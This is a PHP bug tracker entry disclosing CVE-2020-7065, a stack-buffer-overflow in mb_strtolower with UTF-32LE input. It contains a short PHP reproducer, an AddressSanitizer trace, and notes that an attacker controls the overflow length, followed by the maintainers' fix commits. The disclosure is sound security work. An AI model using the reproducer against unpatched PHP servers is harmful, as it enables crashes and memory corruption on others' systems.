Sec Bug #79371 mb_strtolower (UTF-32LE): stack-buffer-overflow at php_unicode_tolower_full

Submitted:	2020-03-12 10:15 UTC	**Modified:**	2020-03-17 05:40 UTC
From:	anatoly dot trosinenko at gmail dot com	**Assigned:**	stas (profile)
Status:	Closed	**Package:**	mbstring related
PHP Version:	PHP 7.3	**OS:**	Ubuntu 19.10 (amd64)
Private report:	No	**CVE-ID:**	2020-7065

[2020-03-12 10:15 UTC] anatoly dot trosinenko at gmail dot com

```
Description:
------------
Hello,

A call to `mb_strtolower` allows overwriting of a stack-allocated buffer with an overflown array from .rodata.

## How to reproduce

$ git clone https://github.com/php/php-src.git # Commit 583c7a4c
$ cd php-src
$ ./buildconf
$ CC=clang CFLAGS=-fsanitize=address,undefined ./configure --disable-opcache --enable-mbstring --enable-debug
$ make -j8
$ cat ../repro.php
<?php

$bytes = array(0xef, 0xbf, 0xbd, 0xef);
$str = implode(array_map("chr", $bytes));
print(mb_strtolower($str, "UTF-32LE"));
$ ./sapi/cli/php ../repro.php
/hdd/trosinenko/php-reference/ext/mbstring/php_unicode.c:257:24: runtime error: index 12435439 out of bounds for type
'const unsigned int [727]'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /hdd/trosinenko/php-
reference/ext/mbstring/php_unicode.c:257:24 in
=================================================================
==19802==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe76f177cc at pc 0x000000679da0 bp
0x7ffe76f176f0 sp 0x7ffe76f16eb8
WRITE of size 956 at 0x7ffe76f177cc thread T0
    #0 0x679d9f in __asan_memcpy (/hdd/trosinenko/php-reference/sapi/cli/php+0x679d9f)
    #1 0x12720b1 in php_unicode_tolower_full /hdd/trosinenko/php-reference/ext/mbstring/php_unicode.c:258:3
    #2 0x1270878 in convert_case_filter /hdd/trosinenko/php-reference/ext/mbstring/php_unicode.c:337:10
    #3 0x139ca7c in mbfl_filt_conv_utf32le_wchar /hdd/trosinenko/php-
reference/ext/mbstring/libmbfl/filters/mbfilter_utf32.c:271:4
    #4 0x126fb84 in php_unicode_convert_case /hdd/trosinenko/php-reference/ext/mbstring/php_unicode.c:425:8
    #5 0x123b38b in mbstring_convert_case /hdd/trosinenko/php-reference/ext/mbstring/mbstring.c:2907:9
    #6 0x123c5a5 in zif_mb_strtolower /hdd/trosinenko/php-reference/ext/mbstring/mbstring.c:3006:11
    #7 0x2e2be12 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /hdd/trosinenko/php-reference/Zend/zend_vm_execute.h:1292:2
    #8 0x298957c in execute_ex /hdd/trosinenko/php-reference/Zend/zend_vm_execute.h:51845:7
    #9 0x298a141 in zend_execute /hdd/trosinenko/php-reference/Zend/zend_vm_execute.h:56139:2
    #10 0x2611850 in zend_execute_scripts /hdd/trosinenko/php-reference/Zend/zend.c:1661:4
    #11 0x215385c in php_execute_script /hdd/trosinenko/php-reference/main/main.c:2584:14
    #12 0x304f02a in do_cli /hdd/trosinenko/php-reference/sapi/cli/php_cli.c:956:5
    #13 0x304b4a3 in main /hdd/trosinenko/php-reference/sapi/cli/php_cli.c:1351:18
    #14 0x7f3dd72081e2 in __libc_start_main /build/glibc-t7JzpG/glibc-2.30/csu/../csu/libc-start.c:308:16
    #15 0x6029ad in _start (/hdd/trosinenko/php-reference/sapi/cli/php+0x6029ad)

Address 0x7ffe76f177cc is located in stack of thread T0 at offset 44 in frame
    #0 0x126fe3f in convert_case_filter /hdd/trosinenko/php-reference/ext/mbstring/php_unicode.c:309

  This frame has 1 object(s):
    [32, 44) 'out' (line 311) <== Memory access at offset 44 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/hdd/trosinenko/php-reference/sapi/cli/php+0x679d9f) in
__asan_memcpy
Shadow bytes around the buggy address:
  0x10004eddaea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004eddaeb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004eddaec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004eddaed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004eddaee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10004eddaef0: 00 00 00 00 f1 f1 f1 f1 00[04]f3 f3 00 00 00 00
  0x10004eddaf00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004eddaf10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004eddaf20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004eddaf30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004eddaf40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==19802==ABORTING
```

## Analysis

A php_unicode_tolower_full function tries to overwrite a stack-allocated buffer from convert_case_filter (of type unsigned out[3]) with 956 bytes, taken somewhere far-away from the _uccase_extra_table array, residing inside .rodata section.

The reason it happens seems to be due to `if (UNEXPECTED(c > 0xffffff)) { ... return 0; }` check performed in convert_case_filter(int c, void *void_data) function, so c is negative and less than 0xffffff.

Since the `code` variable seems to be taken unchanged from the string passed to mb_strtolower, it seems that size is well-controlled by an attacker in range 512-1020, while the **data** to overwrite with are much less controlled (and further investigation is needed to check what values of `code &0xffffff` can go unchanged to this point).

Test script:

```
---------------
<?php

$bytes = array(0xef, 0xbf, 0xbd, 0xef);
$str = implode(array_map("chr", $bytes));
print(mb_strtolower($str, "UTF-32LE"));
```

Patches

Add a Patch

Pull Requests

Pull requests:

- Add commit ID to build info (doc-base/17)

Add a Pull Request

History

All | Comments | Changes | Git/SVN commits | Related reports

[2020-03-12 12:12 UTC] cmb@php.net

```
-Status: Open
+Status: Verified
-Assigned To:
+Assigned To: nikic
```

[2020-03-12 12:12 UTC] cmb@php.net

Thanks for reporting! Suggested quick fix:
<https://gist.github.com/cmb69/8daf3a095d7810dbfa77d93ef764a1b2>.

Nikita, you may have a better solution. :)

[2020-03-12 12:12 UTC] cmb@php.net

```
-PHP Version: master-Git-2020-03-12 (Git)
+PHP Version: PHP 7.3
```

[2020-03-12 13:17 UTC] nikic@php.net

```
-Assigned To: nikic
+Assigned To: stas
```

[2020-03-12 13:17 UTC] nikic@php.net

Patch LGTM.

[2020-03-16 00:29 UTC] stas@php.net

```
-CVE-ID:
+CVE-ID: 2020-7065
```

[2020-03-17 05:40 UTC] stas@php.net

Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=1fdffd1c55d771ca22ae217784ab75fce592ad38
Log: Fix #79371: mb_strtolower (UTF-32LE): stack-buffer-overflow

[2020-03-17 05:40 UTC] stas@php.net

```
-Status: Verified
+Status: Closed
```

[2020-03-17 05:41 UTC] stas@php.net

Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=db848e1482c1871d8b2a4185f0c6ac261069e4bd
Log: Fix #79371: mb_strtolower (UTF-32LE): stack-buffer-overflow

[2020-03-17 05:43 UTC] stas@php.net

Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=ebdaeb85728dde9530d2be50307e03e389bae3a9
Log: Fix #79371: mb_strtolower (UTF-32LE): stack-buffer-overflow

[2020-03-17 08:30 UTC] cmb@php.net

Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=b8048de333325c21c9763aa0270c5cb54f03cbab
Log: Fix #79371: mb_strtolower (UTF-32LE): stack-buffer-overflow

[2020-03-17 09:48 UTC] cmb@php.net

```
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=1fdffd1c55d771ca22ae217784ab75fce592ad38
Log: Fix #79371: mb_strtolower (UTF-32LE): stack-buffer-overflow
```

[2020-03-17 09:48 UTC] cmb@php.net

```
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=db848e1482c1871d8b2a4185f0c6ac261069e4bd
Log: Fix #79371: mb_strtolower (UTF-32LE): stack-buffer-overflow
```

[2020-03-17 10:22 UTC] derick@php.net

```
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=69155120e68d2e614d5c300974a1a5610cfa2e8b
Log: Fix #79371: mb_strtolower (UTF-32LE): stack-buffer-overflow
```

[2021-03-17 09:44 UTC] 261793692 at qq dot com

```
The following pull request has been associated:

Patch Name: Add commit ID to build info
On GitHub:  https://github.com/php/doc-base/pull/17
Patch:      https://github.com/php/doc-base/pull/17.patch
```